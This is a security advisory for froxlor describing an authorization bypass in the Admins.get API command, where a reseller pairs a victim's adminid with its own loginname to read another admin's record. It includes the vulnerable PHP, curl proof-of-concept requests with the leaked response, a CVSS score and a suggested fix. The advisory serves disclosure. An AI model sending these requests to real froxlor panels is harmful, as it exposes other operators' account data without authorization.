froxlor/froxlor: Authorization bypass via identifier confusion in `Admins.get`, enabling a reseller to read any admin's record

Summary

**Authorization bypass (CWE-863) through identifier confusion in Admins::get. The authorization test is satisfied by either** id or loginname, while the query that follows is driven by **id alone whenever id > 0**. A reseller passes the victim's adminid together with its own loginname, the second disjunct of the check waves it through, and the command returns the other admin's full panel_admins row — including the super-admin's.

Details

// lib/Froxlor/Api/Commands/Admins.php:434-444
$id        = $this->getParam('id', true, 0);
$loginname = $this->getParam('loginname', $ln_optional, '');

if ($this->isAdmin() && ($this->getUserDetail('change_serversettings') == 1
        || ($this->getUserDetail('adminid') == $id || $this->getUserDetail('loginname') == $loginname))) {

    $result_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE " . ($id > 0 ? "`adminid` = :idln" : "`loginname` = :idln"));
    $params = ['idln' => ($id <= 0 ? $loginname : $id)];

The gate is a disjunction over two independently-supplied identifiers; the row selection uses only one of them, and it prefers the one the gate did not have to match.

Two siblings in the same codebase get it right, which is what makes this a slip rather than a design. Customers::get (Customers.php:927) rejects a mismatch on *either* identifier before querying. Admins::update (Admins.php:559) re-verifies $result['adminid'] *after* the fetch and is therefore not exploitable by the same trick.

Proof of concept

froxlor 2.3.14 (c147de18), over HTTP, using the reseller's own API key. reseller1 is an admin-type account with change_serversettings = 0; adminid 1 is the super-admin.

=== CONTROL: reseller asks for adminid 1 honestly (no loginname) ===
$ curl -u RESELLERKEY1:RESELLERSECRET1 \
    -d '{"command":"Admins.get","params":{"id":1}}' http://127.0.0.1/api.php
{ "message": "Not allowed to execute given command." }

=== CONTROL: reseller lists admins (the guarded sibling) ===
$ curl -u RESELLERKEY1:RESELLERSECRET1 \
    -d '{"command":"Admins.listing"}' http://127.0.0.1/api.php
{ "message": "Not allowed to execute given command." }

=== ATTACK: id=victim + loginname=self ===
$ curl -u RESELLERKEY1:RESELLERSECRET1 \
    -d '{"command":"Admins.get","params":{"id":1,"loginname":"reseller1"}}' http://127.0.0.1/api.php
{
 "adminid": 1,
 "loginname": "admin",
 "name": "Administrator",
 "email": "admin@example.test",
 "customers_see_all": 1,
 "change_serversettings": 1,
 "api_allowed": 1,
 "ip": "-1",
 "customers": -1,
 "domains": -1
}

The oracle is the adminid/loginname pair coming back as the super-admin's rather than the caller's, with two controls proving the same caller is refused without the trick.

Impact

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — 4.3 Medium.

A reseller reads the complete panel_admins row of any other admin: contact address, every resource limit and its *_used counter, the ip allow-list, api_allowed, gui_access, deactivated, custom_notes, loginfail_count, lastlogin_succ/lastlogin_fail and theme. On a shared froxlor instance that is another operator's tenancy configuration and login history.

PR:L treats a reseller as a tenant of the panel rather than an operator; if your convention scores a reseller as PR:H this is 2.7 Low. Confidentiality is L and not H precisely because the credential columns do not come back — see below.

Suggested fix

Do what Customers::get already does: reject the request when the caller supplies an identifier that is not its own, before the query runs — or drive the query from the identifier the gate actually matched.

What this is not

Not credential disclosure. password and data_2fa are unset() at Admins.php:448-449 because isInternal() is false on a direct call, and that holds here: both keys are absent from the response above. I traced every route that can set the internal flag — ApiCommand::__construct($…, $internal) ← getLocal($…, $internal) ← apiCall($…, $internal = false) — and no HTTP-reachable path sets it.

Not a write primitive. Admins::update re-verifies the fetched row and is not affected.

Not reachable by a plain customer: the command is @access admin.

It does not let a reseller *enumerate* admins — they must know or guess the numeric adminid, which on a default install is 1 for the super-admin.

Verified present at 2.3.14 and origin/v2 c147de18. origin/main is the v3 Laravel rewrite and does not contain this file.